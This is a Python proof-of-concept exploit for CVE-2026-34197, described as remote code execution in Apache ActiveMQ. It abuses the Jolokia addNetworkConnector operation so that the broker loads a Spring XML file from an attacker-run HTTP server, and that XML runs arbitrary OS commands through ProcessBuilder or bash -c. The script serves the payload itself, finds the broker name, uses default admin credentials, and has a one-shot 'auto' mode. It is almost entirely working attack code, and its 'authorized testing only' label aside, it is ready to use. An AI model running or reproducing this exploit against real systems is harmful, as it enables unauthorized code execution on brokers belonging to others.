1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
| #!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia MBean + VM Transport
Proof of Concept for authorized security testing only.
Attack chain:
Jolokia exec -> addNetworkConnector() MBean
-> vm:// transport with brokerConfig=xbean:http://attacker/evil.xml
-> Spring XML bean instantiation -> OS command execution
Usage:
1. Start the HTTP server (serves malicious Spring XML):
python3 exploit_poc.py serve --lhost 10.0.0.1 --lport 9999 --cmd "touch /tmp/pwned"
2. In another terminal, fire the exploit:
python3 exploit_poc.py exploit --target http://victim:8161 \
--user admin --password admin \
--lhost 10.0.0.1 --lport 9999
Or run both in one shot (auto-serves XML, fires exploit, cleans up):
python3 exploit_poc.py auto --target http://victim:8161 \
--lhost 10.0.0.1 --lport 9999 --cmd "id > /tmp/pwned.txt"
"""
import argparse
import http.server
import json
import shlex
import sys
import textwrap
import threading
import time
import urllib.request
import base64
from urllib.error import URLError, HTTPError
SPRING_XML_TEMPLATE = textwrap.dedent("""\
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
{cmd_values}
</list>
</constructor-arg>
</bean>
</beans>
""")
def build_spring_xml(cmd: str) -> str:
"""Build a Spring XML that executes the given shell command."""
parts = shlex.split(cmd)
values = "\n".join(f" <value>{p}</value>" for p in parts)
return SPRING_XML_TEMPLATE.format(cmd_values=values)
def build_spring_xml_shell(cmd: str) -> str:
"""Build Spring XML using bash -c for complex commands."""
values = (
" <value>bash</value>\n"
" <value>-c</value>\n"
f" <value>{cmd}</value>"
)
return SPRING_XML_TEMPLATE.format(cmd_values=values)
class ExploitHTTPHandler(http.server.BaseHTTPRequestHandler):
"""HTTP handler that serves the malicious Spring XML."""
xml_payload = ""
def do_GET(self):
print(f"[+] Target fetched payload: {self.path}")
self.send_response(200)
self.send_header("Content-Type", "application/xml")
self.end_headers()
self.wfile.write(self.xml_payload.encode())
def log_message(self, format, *args):
pass # suppress default logging
def start_http_server(host: str, port: int, xml_payload: str) -> http.server.HTTPServer:
"""Start HTTP server serving the Spring XML payload."""
ExploitHTTPHandler.xml_payload = xml_payload
server = http.server.HTTPServer((host, port), ExploitHTTPHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
print(f"[*] Serving malicious Spring XML on http://{host}:{port}/evil.xml")
return server
def check_jolokia(target: str, username: str, password: str) -> dict | None:
"""Verify Jolokia is accessible and return broker info."""
url = f"{target.rstrip('/')}/api/jolokia/"
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {creds}")
try:
with urllib.request.urlopen(req, timeout=10) as resp:
data = json.loads(resp.read())
print(f"[+] Jolokia accessible — agent version: {data.get('value', {}).get('agent', 'unknown')}")
return data
except HTTPError as e:
if e.code == 401:
print(f"[-] Authentication failed (401) — check credentials")
elif e.code == 403:
print(f"[-] Jolokia access forbidden (403)")
else:
print(f"[-] HTTP error: {e.code}")
return None
except URLError as e:
print(f"[-] Connection failed: {e.reason}")
return None
def get_broker_name(target: str, username: str, password: str) -> str | None:
"""Query Jolokia to discover the broker name dynamically."""
url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
req = urllib.request.Request(url)
req.add_header("Authorization", f"Basic {creds}")
try:
with urllib.request.urlopen(req, timeout=10) as resp:
data = json.loads(resp.read())
if data.get("status") == 200 and data.get("value"):
for mbean_name in data["value"]:
# Extract brokerName from the MBean object name
for part in mbean_name.split(","):
if part.startswith("brokerName="):
name = part.split("=", 1)[1]
print(f"[+] Discovered broker name: {name}")
return name
except Exception:
pass
# Fallback: try common default
print("[*] Could not discover broker name, using default 'localhost'")
return "localhost"
def fire_exploit(target: str, username: str, password: str,
lhost: str, lport: int, broker_name: str = "localhost") -> bool:
"""Send the Jolokia exec request to trigger the exploit chain."""
# The crafted URI:
# static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/evil.xml)
#
# - static:(...) is the network connector discovery URI
# - vm://evil references a non-existent broker, forcing dynamic creation
# - brokerConfig=xbean:http://... loads remote Spring XML config
malicious_uri = (
f"static:(vm://evil?brokerConfig=xbean:http://{lhost}:{lport}/evil.xml)"
)
payload = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": [malicious_uri]
}
url = f"{target.rstrip('/')}/api/jolokia/"
creds = base64.b64encode(f"{username}:{password}".encode()).decode()
data = json.dumps(payload).encode()
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("Authorization", f"Basic {creds}")
req.add_header("Origin", target)
print(f"[*] Sending exploit payload to {url}")
print(f"[*] Malicious URI: {malicious_uri}")
try:
with urllib.request.urlopen(req, timeout=30) as resp:
result = json.loads(resp.read())
if result.get("status") == 200:
print("[+] Jolokia returned 200 — exploit payload delivered")
print(f"[+] Response: {json.dumps(result, indent=2)}")
return True
else:
print(f"[-] Unexpected status: {result.get('status')}")
print(f" Error: {result.get('error', 'unknown')}")
return False
except HTTPError as e:
body = e.read().decode(errors="replace")
print(f"[-] HTTP {e.code}: {body[:500]}")
return False
except URLError as e:
print(f"[-] Connection failed: {e.reason}")
return False
def cmd_serve(args):
"""Serve mode: just host the malicious XML."""
if args.shell:
xml = build_spring_xml_shell(args.cmd)
else:
xml = build_spring_xml(args.cmd)
print(f"[*] Command to execute: {args.cmd}")
print(f"[*] Spring XML payload:\n{xml}")
server = start_http_server("0.0.0.0", args.lport, xml)
print("[*] Waiting for target to fetch payload... (Ctrl+C to stop)")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
server.shutdown()
def cmd_exploit(args):
"""Exploit mode: send the Jolokia request."""
print(f"[*] Target: {args.target}")
print(f"[*] Credentials: {args.user}:{args.password}")
# Step 1: Check Jolokia
info = check_jolokia(args.target, args.user, args.password)
if not info:
sys.exit(1)
# Step 2: Discover broker name
broker_name = get_broker_name(args.target, args.user, args.password)
# Step 3: Fire
success = fire_exploit(args.target, args.user, args.password,
args.lhost, args.lport, broker_name)
if success:
print("\n[+] Exploit sent. Check if your payload executed on the target.")
else:
print("\n[-] Exploit may have failed. Check server logs.")
def cmd_auto(args):
"""Auto mode: serve XML + fire exploit in one shot."""
if args.shell:
xml = build_spring_xml_shell(args.cmd)
else:
xml = build_spring_xml(args.cmd)
print(f"[*] Target: {args.target}")
print(f"[*] Command: {args.cmd}")
# Start HTTP server
server = start_http_server("0.0.0.0", args.lport, xml)
time.sleep(0.5)
# Check Jolokia
info = check_jolokia(args.target, args.user, args.password)
if not info:
server.shutdown()
sys.exit(1)
# Discover broker name
broker_name = get_broker_name(args.target, args.user, args.password)
# Fire exploit
success = fire_exploit(args.target, args.user, args.password,
args.lhost, args.lport, broker_name)
# Wait briefly for the target to fetch the XML
print("[*] Waiting 5s for target to fetch payload...")
time.sleep(5)
server.shutdown()
if success:
print("\n[+] Done. Verify command execution on target.")
else:
print("\n[-] Exploit delivery uncertain. Check manually.")
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-34197 ActiveMQ RCE PoC — Authorized testing only"
)
subparsers = parser.add_subparsers(dest="mode", required=True)
# Serve mode
p_serve = subparsers.add_parser("serve", help="Host malicious Spring XML")
p_serve.add_argument("--lhost", required=True, help="Listen host for HTTP server")
p_serve.add_argument("--lport", type=int, default=9999, help="Listen port (default: 9999)")
p_serve.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
help="OS command to execute")
p_serve.add_argument("--shell", action="store_true",
help="Wrap command in bash -c (for pipes, redirects)")
# Exploit mode
p_exploit = subparsers.add_parser("exploit", help="Send Jolokia exploit request")
p_exploit.add_argument("--target", required=True, help="Target URL (http://host:8161)")
p_exploit.add_argument("--user", default="admin", help="Username (default: admin)")
p_exploit.add_argument("--password", default="admin", help="Password (default: admin)")
p_exploit.add_argument("--lhost", required=True, help="Attacker IP hosting the XML")
p_exploit.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")
# Auto mode
p_auto = subparsers.add_parser("auto", help="Serve + exploit in one shot")
p_auto.add_argument("--target", required=True, help="Target URL (http://host:8161)")
p_auto.add_argument("--user", default="admin", help="Username (default: admin)")
p_auto.add_argument("--password", default="admin", help="Password (default: admin)")
p_auto.add_argument("--lhost", required=True, help="Attacker IP")
p_auto.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")
p_auto.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
help="OS command to execute")
p_auto.add_argument("--shell", action="store_true",
help="Wrap command in bash -c")
args = parser.parse_args()
print("=" * 70)
print(" CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport")
print(" For authorized security testing and research only.")
print("=" * 70)
print()
if args.mode == "serve":
cmd_serve(args)
elif args.mode == "exploit":
cmd_exploit(args)
elif args.mode == "auto":
cmd_auto(args)
if __name__ == "__main__":
main()
|